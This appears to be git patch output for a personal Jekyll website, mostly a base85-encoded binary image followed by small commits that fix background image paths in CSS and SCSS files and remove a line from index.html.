zTj1Q6-CU5+Tm<=EmNw&!&9NLo4UTKgR?EgLpTAl8m2j>}N9AcV;^y@|P{=hh6|&eq zTcBd(wiD1M_0A?y{JOg2?rR6T*e`0jzwisA97#-RMg-RlPh;f!H;Uhy!JnH#RKVd2 zBdHWq`ZdN#8m%C=ViX=mdn5m!R7c^s@fM2IBC5faq_QO-ojEty`7OP-LcKWSvVA^a z#a(^H*pgm6sCagw@*V8>=A114;M?$m#?msxk?hqtFsLWOKYud;b(bM~J)5LXdTl`WWye~kZ1@Sh@V6t=vY`*` zNRRsGvF#4UITjRyBZR+Vk4g6-f4=KG}`D=G{;SR`srxB2}ME1 zz4Hsle(^sbqi?U}o^K*rL|mlK1$I&f9Q1ExcL)G@uQY#Kj}1+!`gFU&IM0CaI326h zMFLUxWrxb)@-aPIjxyD0`qL*asC}sG>uI>IUD;rvyL%Q3$X$OQ>%8J@3dnf%Y7-Tc zRS%o%3-Dq_M7vh?GX+>nPGhhmvR+kOyQ-0VIa;o#*ebbW$;ju*)MBFMyObVMpN|r0 z)xgfDO7#@`LphOKG+zv3eAljQ2PJ$L0ub#SxdJu;yCD9AmEpVgL1#b2?8og>*pt40 zKs6?8UKM2zA^8uuAzB^Cl0)4hHN1!$|lb7mEI&@!Kwf!e=w!cWck-_ z8dL{H=W0KKWNQSK#o96-+w=E;8sll023|aFhSj-*PMW#Jl?F)bb6^h26Vz@@>nojL zneLZW{H=GL@k<)Hw%WiZKo?Ng4APAnP@v#h9(pb(KdI$pF^OenqHg&5G<` zU|IF}JbD^HJc+}`==%QXpkXw3un~`fwKiWfAtclK0~m8Si5F|k)TqWS(=72x8Ec(- z@pV^U9MR@)lw|fDNEw?hC%U+f=acfP z>wiG!SioqJ`P<|CTSR7!9!j@VqXh(SPVQbdCOVb*IT3U4 z4~BD$)|lSsats|laB@V5FwLGCY)CiBBAIn;6qIqqw#&NFwC6sdN>;V14Skazrgo_1 z7y!n<`mE1^Y>C8~st0f0sJDJvB#zdJ%3DBZk{M>TgOSJBfmD1KdhT4zzV|8x0GA_8 z;a$9LpNtiLuR-O9w64<2@Q*~c7v+J0E&0&^Ynh5m;!aOEz(A)X=SY(1K1SY!E?evk zkc>71M!b}YzH27^k5Ldn@-zV0E)9`J2}t&%0fg^=SaLad(;DE|LqkFbzU6lRG8|u& zF`|>%xyuQt2B231$pi`CCxMMP9dA#lZ7x2AX19oumK<~l#XfJBKS z?c@||6-%A8RD3GH51;Jdql&%bvm(Pp^DB1*o~kYr5*yQfcWZ68KP7T}beVSx*WEby z5m>%~cPmqG-!`W!fn2gzCG}VaY%i#ym`2F&kHmhsoiQ5yNIQjEOGi9@DX|BD7}&R7 zf_BKb2ot)@eU8_l_>E9ikdtraQu&}hmGbyDDeyB+Q*To^1{}*qhduJeCw*>TPb?%1 z8@u=2{=S9SKG`=0(1Em$ENHQR54nwGW+2o4xBTGn{4&WP7*6QinA_D4V?7;=&ar&y zbiKEyVv65rFOMm>Klv~fjwN*>^f}nj)Xq-t&u5|=&2HQ2M&ZnjNqbOLa&Ku)83<_l zJ($J#CM3_Ep;w&ND z9gj@Uc8v%sq8J$x+iP#+UxY=lw4G~?-J*2me&ac7tBpINB&sJfbvRdaN2A_9hVLE} z5Tt!+?202$!gh>ZzAp$4xj5BXUk4JhG&8oT!hY~QQ<(+800KrYCr>hsDp4SZrk>) zU6s8R$U$``n|bBVjUve3cN+~2PccS?fEF%<(ns{t=&ZvB%gxQz0@z@h?Pzpt1MG*Qn9$#clz5>1O zipF5gn2JVN5;J~oc8 znm$Nvz6E#lL!!a3N#l1Jg^#Y8-;TmK5=c<0%FK;T*ixczm+5nCtt%|3d_>%$T^VyX znk^up`R4Y#{*PHW$^< zojqV4n-N?ge`l0x?=$xgs7}v%Wv?#lMsR8txOQhvA3G*gKBij~oD*j#Ca>hpE&Deb zXG%6Si>>RK1zXKQ$H(uC5N(9h?3Qu=XD>AW@yPtiMqpAAZ&p^bA=?bn4V&0zEen=f z7tRjB5p89456)`_e%SFJkh9wL7d{LmX77-s&;8L?wIW7auI;>jU;+c?Ju;rNyz_98 zSMGyiRR)G483%Y+&z>q;8US!uG0>!Ne9;vu82^QR4v%Y16LaOr-t~G;xWpI$xDN%w z3L%F+32*Kh#c@XDM#1-=@s&e2nLHFbmomS}`@k1t-vU*K^(q=L*$G)i7@R`1O>|$WbY>rzH%`)EBC)L$ z!1TtKOnh5LaGq`P`O~S7H=oN)e{m$(_3895fxsd}-T$BN-uf-dFZ>oBN>Y#>8tInq zR!XEpTDlp!r4a>&4(Ud6kQy2VX{5Vr2x;ja&-3}7_gwGaaL!L~4bNyOJrp zhUT2#K1?em;AFwz&k-UA3vKpKj$s3h>F zNLdlw{%Y@o3Kq->eB-B~8KMIE2b!=)!&m#J$cAO|m!Q9SteJ zQV?=Dqg44g$o4uyOt5PmV(8`*hpH^?O zg@@0S9LVtypj#ap3ZsdC`uXJjVekE;8jy}s5wiMWN0y}VPqK^R8tZ?~4^>8k4e^Mh z>j{4sikIUzZF)gW2z@v!G5{yV5J>wQoqzZTnhGUXY>wHz9pHzUMk1sRxD{Y={mb@H z3;t>X&n)=nX09?I>L`p%%l8IA7tfG+MWh#st4edsmcyGtY7T3>hnY#EZsEhhtyP>H ze|noZ763H}x!-$IkeKA(?sPkG!roHhD@qLPpopR&PtkUyO1J1R)noFo)mh$ts>?3pa{#UqT3gB5ii2jg|}^+l%dyUdX>) zTcI5APWW+0iZOerJhu7D$>r&hqdvU3Hui~Owd}-NtLyqur$6y2=D^_Xagso72qq1? z5LKP4JLTIVWh2RqK^o6_Km+Q%rt!Ef?Lo8#s$y_-Uyd2P;ceYaN zlY*Qa-It8}8I*B`hbfF%!Q*oc$B8PQM7)DsC{;_Rk3p{ilFa7|A@y;j%*%hEkDAXS zubZY;f|9|H6`0KTP|Ivi1K9`KVc9^tpNBdqasEG7kZGo+@qd5gJ!th1)#r85rh<5~ ze%gzDEH`~{pI?SiRd=kjEs66Xc8~98cUi=k7|TD)jFrnV`F@g|BC|Y*+_l6e)*D!@eeT1w2nO_+n<3a z5da`$RTH0n2RE!aF6kgD2RwNRp?GvvZP;!$}w>3rEXp_`LYs(av5Bk{bVYrg%; zo{?rhnLu)IFrUVQRCNG;A#-)*z5wTu#+^;Fv=I>MwX!OCQ@6UL>K2fhYT+-54>vLu zU%LmN9Cb&rB)-v#Qdc>gUxULtRk($;Fh&@*W(zTgMIRO=XC@7MTuQpBMX=p|I=$}X zi#KrZ16htgPtQSrPv-Gfi59|3wLi*t8QJDn+U!oPlb?pQ<2U{tZuYbN%fSs9xg#Z! zo|SDsgXqprqn5-HzWuWShQZK8ngEeu{{p<|Y_$eg4i{vj~gwMRTCpKm(^YV0RgKUb2=nkq*s=$0VM*30u&E)d{i2q=KC2In)40)OdH+fr=ok2b0Pg3q>SDFhxx1}xsr~YbCpwL4DPK}t`4E6 zoHRrGGyViQY4o_Cwq=A&%N%f$g$g#d(5G`ov&8yAQDuyZ1r(MG|A7XHTyGLCzcsGuHPTEZ zWCX;3+@hAQDJU`cz+XM>a@S^qxSbmZMa-5u*G{uX}<()IKi zb@ExX`~B>cC0yCRHj2ymQL6)qIV4u>5n~P=^E}}=x(-nPOw>Mdck!Wy_OM`P8ScKM)Y zYSs&O$&Ium+m1-a9t*0Xoh4HpB<$BK(NwAvnsvOMT)gGLdfB2HX?U9^F2d!MUJn4C zhavX|03;;*QH3nmfpw7^CfWKG&x96Bs%=g^lSr++hdPD=Ta31Ya`MdX@iP^&6{a;M z^M9o6$VwWUTH5Vli1Ut=i-@t4Ku=8p!_Vi);XeatyT`Y-HOAJC?~(04D=M`HzZ$>Z zP%a_bs|o}_m~thT0XH*cG#Kw4a}zrK!*vz^k7+&{A80UK?``XIC@+9ww&M}8>*7%Z zEU=GH_8;2pQSb%&L{Xqg?(HTw7%OLJT z4l|Ipp&W*lokwg4jwz5*lau3afB)9akwK%0^P6XbD}4HMTT-w2Ok4~Kg@S&EK^-y89R%W77jvSSb-;>bl1RDW=^oY<@Q zU@4H8{@9jALkR(OTo?Bv>qQ0qv^F2p)XQA07=QbYWPE|SlG<|~NKvNz00VIv@*jwl zYg&@h>s+zVKt1G=12oR*0EmR1393sw=lMMzio*-fZ4$>{7@YI%#IIeYuG*s>IiN09 zCl9ow#B;=%xZYuuJ**>i|DdT%EpcMy7L6pcpwRw+XTLv{LHwEql8VuckesUas9dZg z?&q~qoc#2ZdYFaubYqR)`JI>#W%v4CGKVQon?TBt`tH(VjY6YV#(K?3F+Y? z%O>LqE~=o*u3wQYg!gk^kgpkrG1ZwvNp%1VSHG?KLGXv!@rs>j#bpaao}HmCFK(8Q zMeO=5R+$4U@!OCEWFw0H&Q`MJMBy9cew99<{DcPA*24mS>pPJx?sh~ES{cV?20!+p{Uc%-*KH3!xU?srCUGPf<(i<=0BLkE3 zMlDd$iA+f>gBzy5N!~f$L8JI3hNN^kk8Enz><&e@_65QXN5v|TNopH)4;h>mmyN9L zK1%2FI|x98t;q$B$w{Ql;Ouh99hNDboGf8fJ-@$(;~y2Yymc7i{+h{%@lCkEFvd=&dUNI^sfx+HP zn2=VVkOjJ_if&2Y!}^`@@tnI6Oj$(?kp4_{NW;m;d|s8b=Ph`8>-a{-t82r}grD^i z=;=&iV$H;6Jds^UxYe)Yrh8Yw16l!OyFTQ?Jrt;%#a1h=e^s?4ltWH7?=en$h7*Mh z*)+JCxcz9SI{Q>eH&l*>V;fh>O_ZkIbzN3Xzf2*vu`xsX-4*{7-$eCkk?$X|Zn>_xRa@57Nxf>P9$%sgQeLAH0=lXMX*TEz`B=5o1qk)qFla#bq6zpMt#0?w7s zfwX-xA2FsIp^5G-CuMGhmMO~x*|qj4Frr3yUPJ+;##Da8%?9Q8%H2>)v2Tj&S2VI5 zl;c2nXDaVX<#`wfAJLK}HX2SeRpLs*)}msjDh|}&S^om7sg7%Rum{Q4<#yeDw2J4< zEehpYSW$5Dsvm_kV+mv|1C(;r4-uM;_Q74{wTTo~|syw&O7Z4Q%LI7~NAb*Ngk%LU-Tp^9F@ALI75$^ptH*1>7dn+mK}nhB#3 zlAj=RvkgqF({tw%mGf;6G6I)|&Fmn`L*b7PONS#+@gQPb4V8LCTVW+*@P^ z9$*$}*QtE6Z`pj_5FTn;nlFR2xtzi=pmyJnEOOL*cYMAIe>7mPodn&~eki}G3Kz~x z!vJ_w{uKlM*dH1=euAVuWFISWCCZOYGm8wd`vsON0bp6+z*3%;EmC{$G$JKIJ@x03 z@amCf-X7!Qe?>RFDt%DOFwOM5@tpOX`u5=6LdTuO>BC4JoCY*cT*-mDq0UxnR5>M5 ztq`+y+z6n#=}TnfSl09fClzYYn_p2J>e_erfm9ed-;Pv$Vikpz&L2lgt4t>qA2u*j zT=jF}K1&W2cJXdh9{yki+vO!585oqpBw0STvHLvO&`g$CEA7a_`^1+gRmA`x`=5Jx zGju;VOslPQsBxpt6T?L!a#t~>WH<(kLdCH<|030D|MNE)q+{Hj!ol(Ha=HLdv#F;q%O(9QP5w2dz?}t4qA0Cv z>zz~9k37!oMcZ%`bajt9_DuyKvLJ+CL6B}m7N&Wn>4((Qg8)uxyoWjEGCg_#O6?l> zP+wb?mfxXthEwNS$xuP=^V?(n*C;e>|9|jriBXf`Skmebwvir_g<#t;&*=rd<&YQ4 zcQ~&u7fxBJDRQ7m3qebJ`}SxWI&+kFZ(b-|JMo2c&%_nB?iE~p+oyz5I-hdQId~{j zy|&sBI~)|sRRLt?el$EQ1NSAyn=9IIr_=lF>p8#LYQQsEdAl86o&DR4RAy`rsHtj3zmU1s-0%;BaV_y^1-X+O}H*rshcP;Jw zWnU@p+;8M2vcAg|U?0^mHsyazjD8PZa-2n$k{%f=l&kPdf7}L)v}`A3$(&EDnr!VN zmDTxDrpmH)c)GU|h7)N`Xq7Lk@7d6l4|s|5Yx|`$fcR~(;J9S=YP6IX0LbGu%}*}( zV3SBx3;^xtOr%^R#okYZmq6i;o%cv=4PrwteDGhH!e?2UY* zGJtHHe1((GLP$(|81qehN=uf!zYuKtZGmu}0&%A&=xwN%=?n5uf&o0&iLaXR%1uF; zO6ct4tCfk$Nvf>~qE|O+09tNu>d5Yi4a7jKP@27-IN;U$t}pGrs0@IvrQyI54-Qfq zd6_K3Bll>&jhOoSAdhxaJ(0Ja_wzseknH*Pw-5pM%Yi1(nEK}H9;AsT5?I{gF`#6J zlH8l&on`P)74HWoLW~!v?%|8wGNr(_#FY0YU3&)7DpMcPPnF+!wFPi> zu~`yTImHWP)#c-7eIMSwr0sTW4}_jQRslr@pY5J5_j|^)xNdQfA0f~R#xyixbFvu=oR8UWV&1tO_|ugtU|cXZ=SXft-tuka zo297(1CXKxWq**W|Fw5JbMaXD3DBl@1a2&^ckV(gO*6+3!+vlT!pf>Y`bJ08bS>$#}>DrV?Qh04a9@P}IEG54u@ zVB(U0C0rTbRYLvM(%-lLSY`IRm+V@-)DIZInBX?fgLqC&Hn+L!T($GA5fe7AL;-9Yksop5_O@- zVr$E{?MiaV2YwV|s_z%bqNb=Ws+{8U)$zat}yN^q0^b98(7fUs&zMf?! zOaex77v}M0F|B3Bgj?;O%w-AP2kK`{`7Z*5^UDX=n{3x8^kPp3yY4kHXaY52)n_94 zAWNDuBS9)vKkzk|8e28pQ6!-^BtHbebJNI{R~LYb$TQ9m$9K!>>-11Wd{HRhm8l$@ zvqz#gDYww401>nJH%vEHC$*?9p1zCsa@5nKm_vf;d zlwRDv&iAA6YK=e%5(^dSl`>N!B^>7qkvF_u;ZnhHtc#+*?0AB?{0C|rrDDE?R-h=WWzu&3L5sA2$LxuU*0c@ZJcx8pnp6|M?bmK` zKTz}V0N6Gm6*bAqE4O6K3yT-`Rx1c$DRxL{&K=o{vNdK6jQfeKkj zdwq77b;~a;=+xd-;;TEOscm|_I40GsoZ)gC`0m;Q%c`4Ii!MD8j8((n7ih_?{Q%J7 z3T?xvguzO*mn!=2)Q#O)DxZ?qjp5-)8$K1L-`ED@zoA$C;xqT1PyP8@)csM)S_EQr+yL((48x zkK3SgpIRt$FE7BeHgE|`w3E7_{)6Jp+7P%vL;}}^e&gSRtbP>Cl@M zXTGS{KTzldhJ6iwp}^uOkz&UQ-(L?-N-x5(KjNH(S$_l{GEVIbnYEiaN)=JiTrA88 zE*C#P*a4Tl+|+*{o5?)4m=UHwJ^KbD9=-Q-)s7*XG>PW_K-HHwq$z+QZgGq7614}q zK6A|Dx{d+7iX;D4X%j4SC?z#&qxo#N(2aij7(w{*qG%hD)Kx7$Kie&wj)@*deo2~) zVik%lJ%a*=nfTi`{SsO_05^#p8v2BsJrFz`J{}<32$o)MoPhxs;)N=qBT;R)!|6j= za-mr0$lR77it@|Qy;A*YMQ?C$*&Sst3<#cJ%Mk3mn?^xSMj|Bhw*eO?)bnf2K@sEp z6l%1q$4d5BEUIDXwQsQLiKO-?!g;)j$3F(cF&ek@;;BLxv~j4ZQ?ft`aOD%`#pFo@ z1ToLpDL+k~GHlmR>5W~19WN9L2?_j5UntKW{!G1 z;;{IcC+nW42uLlFC7!Td4X-^Ks{-gy-#lJ&7U><*+x$&+uHoED?^BBnbx!=1lEV1) zXhk=@vVb-~Z+dXtsdY0jN1}#O6c(iDM=KBZgfPCFh2Y)9eoaWT5SEQ4-!5YV$(L&x0QN{~0zNGCTmBD-| zr=y-ox=&dS8HL>m5w|g4)%_X%UfuKT*jmI7z(GE3w(SJ5@T5&{rPtHd+WSjlJT5P= zE!orWR1lSjKTb}+)-aHxQ;@4wDvbo=pYgkauN^{a-!LdKj%*WT@6bGCb^W!4xm4W7 zYP8H~A!cB)%(Zb?^6l!XbY}48E!?3aB$g?)MRX=`%#9ry0*IL{J9wC^EyXY#WcdE5d4> zfg9RIm?TRr)kZ+F=t$gIX`Bsy>^t`xlRLcA0c8APlr!TP&6yAq<@2}x=x3qNM8ChD zD4i4<$M!2WZn87gHzpP?#)4LB3D4v1>@{ObX6;FOav|wv8>z|(ZTRFWJiK*S z68;f8c0o*KZTBwhc+}=L%Q%;yPrEp7Hxj5v8bsjL2WuNA|((j9M>t* zr!h;uo~9(tOzF2QiFcL#k8ziel|#(qBm0kx@v}N+L>YfaW(HRv+Y)b{7y#0vh~Id2o27-A!4QT&?Q?AZ!O^a+VD7hTL5auj^4>A}C6yPqcUaI<7bc zt-oAH#OMBLwKWyrC=?^dEPI$i(Ps}{e;IBNewI^)8S~q);r2>RRIKj%a`(wPB_(UphV>29{O{iVoEv(M=Chn>e{nAmLq4A}EA8x8 zBl6Iv@M+roOQjL@8nb`RZLq%$2&iMUM0)$sO&6Y%VE?b~sw?E*r zlHKj&5bOjEOta8no^t$HjykaL5;;M^9rwdlU|oo0zM<#US0=t-QixLDEo4pOs(P@D z0374C?3r_svm46Ao$BEB;PKWRnkO)RtBt*+novJP;*_77cJEWgM0c5Q8c~MOtKKy< z63pQBddT%hI^E>^2?z7bK5`-JcJN2WjHE6a(M3)9=mMfC4xQXHz`!K1#-Vr$|- zWSLIl1NUv28}&hWrZU(EnD!E=vz`u}F3wHyQz@gmS*tM<0vC7Y69Kpi;mxla4RshfJ=? zEX&h=ggJ_v9NpUr2zF~Mnv5vYTe@6kdgYovgaZW0LHUsYy+Z00pss!pbPoF%kv8C& zG*|8rn*HY%_}FI|DgQqIwJg@n)PP5=s_Tm(5I}YKbj0cEHOb-zoMSLMV(?ZgCYGE$ z%8>LGeg*JGfO$`_BTFXeY`c+&4{Rr7G4nV#b^TF35g4DGdvpDVX5nM^IQY8Ep@DgIKAVHIwc7+FyR2m@ zndFdO&*JB%d{ywQw?{u-FAY7|U0kX|TO?^|AZSS%DM`q6uMU?`P_4BS5voPRrzefpsjUlQ_CV=C;yBgZ{L_W2A1 zZyv)3*g4T?4qU)!o-B&N8V4Mu8w@9A1nV+mus`c(7pxEYGnyExRS}*d8Ctpsu+j9S z@$crg6np0Pj54ncdS3+S_a_r9eD{+a7}%ac@feg$Y%0dn%8pjY;rkT|fOjsX8}k%L zCokWqwcjXp4+2CeqZ(S}4jEjQjo-rVheK6uroFztioW{BMUlLqrKtsvFE>`ev&YXxU zb{cGlFf6yvukSs;sFFt*w6-=0pVUP<+c|EWjf$wxLcE%iV84jzL8m5{<$KfLU5YPQ z;aP%XBH}ODf0sJq7p4zyR8XKR`WIlspF>WyqZxA)NsZkWu=Xyh5dB6)P>g0krI+A# z4y{=62#{*|PiaWV>48)8A1I$Q;o;gIwW`&JYgI!CX0fGuEIjE_KnR{m7GY=2@2}@D z;4W(mN_=xJED%Yt70NQ>&3+~Ez0t&lpz+lpuV~fv5B3>uZmZ@v3wFw5(?OMiJwswS zp~gIuvkupJCp=0ovajUEKgQ9Mj~|vvax^h+ALRncN`>z4g1xHXVVE@Sc1!s|TdGg; zv#{Osa3XBB5?UF`;dJ(wNyTXtGyzq3gxcL!-d?2z&FOlW=tV>rAXzYA_Y#rk6o@2# zu7k`7S*Lpn=(b_&GkDRp5wTRQP`0K)p8dRfO6h4w9)QZGuO3E)pG6UH6$_u{5RdU4 zY8{C8&6Qh;P@zCy2;;dqNdwkZc4kx|lE!Z>m)nDTpaHv~uMGWS?)w+bV~5#Fk~*v} zZf8}G-)t05Qg)< z+GeX#y#=nGDe-AI6}BK$6+}#y6K4kT$GLNc`}#yS)WGN3L88j^ix&uqr~tc12Uoai zoPwr0F?Nm%_)xbvZYK#)Mm}-_9XP5SL%3^gKOvq^djJjyj^hTcbrD06O3h+-UsjWCc`mIeG4%gct`}L=E+LjB-=06Uj!Ww3;O+jE z^yHWZpGi-_w(Q?Ld~L8=lpg4irfZ!X3F2VeO4eVdBy*J&kR^u*#a3ldk}r_99fO7B zza>v?vHc!Gk14*5Nn}sz;TmlcT^u|r7DOq0>hvGD|M{?6&NY&Pt+e*M{j4;3Zi{r4 ziJ##|X%-P5dnYVgi_= z*=71F;kNBj=#7F*z8bYjft}lZcw%`iJ#+G!c zecbx{PfVH^vAIUO2gD@V!ubl_<*-*f^*oli7v6)Ta!jtosY!2Zj}+M}OBXnxfQcih z)w^Qc|3$oM3#KHF4g9hxEYjF*fYohOfw}RFXP?0vuzKTr_r?Lt!EP%B0>F4vd54m? zb%@orxn+rX=a4r32%TdE6MtUihvHm7^1YwIZ5-!Ju*peMC5~JtzyrZ@=QM2>3`0?ojg{a170`*l_r4K)ost zseZ0%ugkrDbA|}u-}|Nj;^J>4iYBL^g z0Brr`Y>j!GRRUxdOhIbozqV_euFnw^lw|_0|iwJRl$VGVo+%3Tn0S$vJy0B_GVUT-7*!HgrRzG z;;U*) zPt-i!hZE0v8!xd~Fu8|`pkCM7RS_(R(%`<;skr;gSmZoX8-$G`x3O2_utt97Q?|*i z^1bnteaC)8!A^TWT#l83`fRRlqp_uRb-RZtJK)G*Z zDiu@VJLj!1Ya%ok!nk^Ybt$n*Gs4?2n4iG0%wo}!mKzCg8*~t4fX{jsQ5V9N5y$bo9B&2iSTHb->DCRwvs3Pz8;=a zxtsZ4?$;wP_nn=IrVL6`Mp0XI|69Rp4(6Pp8tgag+^J61?AcVE`qj z@JtB`*C1P!a}TDED^!bV+ON|P8=^QIHJs`Qs@kX24fx2nq(VgY@*A|l!*gCJ_UTjA zQ|xj6;`?UQGNg-q%qoTUwE76JfBy#8H@M!6S66hTC`ezjjq=N5 z*W65+sbasRzbs-a$2pO*yK@-PaEZ`g(sW_wys zN0#7$*sGyXz0?YtIF3HXJxj6yz(74&qJqKJrr)?mLEO02PA#FCVjQ)qzP@P+OFH#3 z+>qQuaYRbC;8_)kc~AMa?r|U|U|N{(2-7%Uh8&lXfF7K_!gJJUMdC9_JzP9a{AkGu zUECu+?KU|2G_)FY%!SKljBS;H3os4MQ~@Jx{MCi!3%uFbRm-Kec4Z)C;BO zKBVCB`jx{@teY}aDegYQ6q7n&O+s92p|&Ltl56&{!$EsR$J-Mat=_Q}7Jk{bb6`>G zS>wP=?viy{0jTF|!&QcKKPEjI6>U&C8|ut`y-Brm&kPO`whelTb5{TksE(yf@{3luIg}db zJIN?s_?yj7Oi7YTM2zg03~BV~a;b3{0b#PlDj|Y(sV*&2ZtRneI(?Kyk-wmLF_n{T z!hkQVJfAjqX%CxClsv)frcmq}raT?S{EU0O!m3pakaHLK0j`i#Y*_<1xjswMZLpAI z38l8NdX@QTIBJNT%73W1)3b|F9>j|zK42%M7$a4Yo&o*Yv0pU}s2HpwC?99w=QAOU zPc!J<3{Ml2!eEb*#pbI;o6$t=k?4Aurs}+_u>P5)%eL$mgz;X_7I37zBtekG@LQQ< zda$8PnyBCsm3^n4E^SY@S=zSxj#@RHE@F|UtyEipj;9xaU$9&DVEtqEL#d>~OA4&s zfUQuh|2F?l1@)V0aekT>i-<5iM~#LN&6eovuw;OVD~|iQIkC-3bbz5WTQkoO>e}FN zY4piu*Bh@+OlJkhs#tN^6zCJcU@WkL+b~Pg8cH4G-FG?9Mx@q)$%tA^)=-NszfCKL z<0!1J$k7!p9wAG{efkY9pLE) zxYR0Ab2&_O%KuK;6*G?NQnxZj`#${`{V40C;PadqFP~;&o&M~dy)J1%hR^-*YY3t@JYX78q$bJ%ZsDSU1HBWx0PK>j|_ISLSvcrsea?t|Huh zSYk<_o4P+KivIJ)aI9nPp!ASC1nbkeJ<7a@hpF=g>SG5U&PPh<+$7cn%Or3elorj? z@3l9$N0G&EX$j2yIKIcTUxe#2Ygx6sAJ1!r1KbpYE zxKjO6Q_`aS!wO0r&pvMiAKjMLEfn69#M5I{jEiYYW2~!Sgy-3exJxAHnM|M&j(Bi> z*Q1Bd>rMQF?UGnV?0nYvWXX>@UI$q@*DCC!YAdg_N+N~y|A92K zwOd7qk1w!re4uzZ(cC=DYG>VyuPQ4Tijzg6uLnOFPe3U_?WG6vl<(?QAjF?Lb7OT`qC7Qa*d)ROxRkibff+)n{x8$pL!V^% zvn{hq`W(=#QmxV8Zb~cbq1t4L*aK7l{fRI+k~svj4*US!YTtm|-W0#QY1P!v_36B) z#BB8W*+0#GRXXV$QU(evnqk7_<&+WH^k^XVjY$QNVf?SLgM)s<<6_^e#gbISY4h)) z$5FerbtfMWMx~(ZSd&oOc%dbH_hwNbDX?&>%D_b^G*Pjx@QX0{JZn~V_s?_kY-Eeb zg%Mi;p7HX~X$@ZUtIo4#QM80#&5|6))Rfs3JzOutZcyTYn#*{4a<3dqp8ilgSU{7s zf_r6g_crAb&9H_wy-kjTK@lfFq#EB=h0>5#Nz9iy;~uapCih(QV_}D_Tj#l(Y|vs$ zH)_dJ=Xx8JZeOoaPivDe)%U>rQ3jVp_YM_EP=;d;KC1dk>NhnF-o_Y&d3WuB0lh^` zDJuYc!gakr_&K6K5c7)X`NLwSj9Z}r3nnITrvqxfN{5uc{&_W_m+)dmm8F7<=PsV* z7Y`-{5Isj(qX6=HfJFBimnY7*zZ8GAbOwIbVZwCQ=1*8Xw=W9i3@X-CQ>5}QyWrk2 zNBe|gZFc*3u(c@nqBWVArZJWUy~NJE>+12pCzm?6mtqYMD3TdULWe=lv;=Rx$cEDu zj#s&N`Ncmk;VUA}FK&Z%wE)^|-tLJ%3=T4Obj3M%M)3VmCn&eD?$gn>fwf;Zdm}NY zx%+r9&=oJF9jmo~`ZAXTuTi`ht!2Fry_)@|{mQ`Z*#LLh*O(8TNrpsht6kr69ll zpI!+t^sO+H;dxgS*Hw0O9;wQvOrS&mi}V3Aj;B;Ic}=-yQP+|rKsW3C8RxH`f2u)r=Yu>Na}CTa%8~KXE(L-5kJQZ2LR^<&_s5$Wg~({ux!0 zSE&g|c?a`#pIgc(bMLttCnQ;sYa}q`zekto&&bL)e=aU7wNCLYEo~X^Tl!$Z&dF04 zcQL0rw1Fp9B-LsTglREugG!7|oa<(fBFXEVb#@E*LirVy)};96nmX(VqB}_2mb;94 zwG8@ukWA^d)fd08e!um7=2C*#PXg+jWK(8%JKghx_>ABS_uPg4j5oZYz16CDG}0Bt zr-sB0lin^SBwmP);#N`d^RN3q*@{hTMN?yo%;L_faaEk8%zms?368)zlh|VJY+R%I zJJ$9$qVk|l@@AefLg29@X~OpprqNCZ4WPOL$w%G+iF#_l8hTAdquLjcDq>-ysA+9!gfH6p`kN< z@@5lhF#-zOjE~bryxw8L>XI$rvdZOPDDMyPp^<{?M0qsEN8x6d^YHqju+iGz^ zkJ5E&DDsx*Ko1SX2V{PNOyE8VYMC>eVHyVlNV@oBd9-{L|hP0R_d-irNK4?G+mZkKOKa)~2^ z@eXdIbI>drFGYbH={1UQGlm<`u9#j0@Fq#Wyv% zb6PN=7zA7bp9BrIMxr>e4vU_rDGf_G#KgMOl+>5oCH)SPm zS*l8{IW{+?3g%`Y+N1F!0roW$HGdFZgMajDnj*?&6|M``PtiC<20YO}p1@K=#mu{= z`qG`+!PA9_1#&eitLRVqFql-X2kxSK%LW**5E!Sd&?Dh#g5&P&$%-p`6+ngNr%V03 zIENTrYO1kh(ySyJlLhL2^9@M@Jxt}(Fyy*9kWRL=Wr7B{Z2@MZ4RO^a0KC$Z@hjX~ z(i)hIdfGPuEZ4VQcnMyo}gFUWPz#gQ^s_MXzE3u z93Z1Jm}JS}RdWC*4G)+Wf($0iImty0gX-6e-=7t?ryt-oYM*?ew$QbZ!T`prg2Y1& zx6#oMv8FDbCsui(;)}~}*jz>@s+CX*ES;dYf-!rJY+8+O9Hw+gY3hHV+K>#OU8P)8 z8Z38Io?d`mpt5E9e0&*(CgD{#@R#4o@3USredY?tns3Nc4Z?S@bg5z5K$HPpglB7c z1Xz!W2{knnE&BzqzjT3hKoL#ALVrf%MLf==AK>MRVf^uas z(tsme$;^>W?-jR8S)QQ3nM-xAH#N{dDuF^z&5!;g?^Nf66r>H%I*np*1AoT}8*av} R*)ITT-WQGDK%M?A{x5bG(S-m2 literal 0 HcmV?d00001 From e0595b393ed29887255b98097d0cdf6ff9da2b46 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:23:27 +0200 Subject: [PATCH 0689/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 83b4200d4a7..f4153743144 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -24,7 +24,7 @@ particles-js { width: 90%; /* Cuadrado bordeado: Ancho */ max-width: 1200px; background-size: cover; - background-image: url('../images/FondoWeb.png'); + background-image: url('../images/FondoWeb.jpeg'); background-position:center; margin-left: auto; margin-right: auto; From 4563e9a5c6e372cf0d210bdfa9d59ce5444db838 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:27:21 +0200 Subject: [PATCH 0690/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index 2a9a00271bb..b6f553fc2db 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -17,7 +17,7 @@ $container-max-width: 1000px; body { margin: 0; padding: 0; - background: $body-background url("../js/app.js") 0 0; + background: $body-background url("../images/bkg.png") 0 0; color: $body-foreground; font-size: 16px; line-height: 1.5; From 777dcebbc1d8cb7965d9f688aef398f6ac92abd2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:31:03 +0200 Subject: [PATCH 0691/1701] Update index.html --- index.html | 1 - 1 file changed, 1 deletion(-) diff --git a/index.html b/index.html index f1d926adf81..12a2427c875 100644 --- a/index.html +++ b/index.html @@ -38,7 +38,6 @@

Hacking

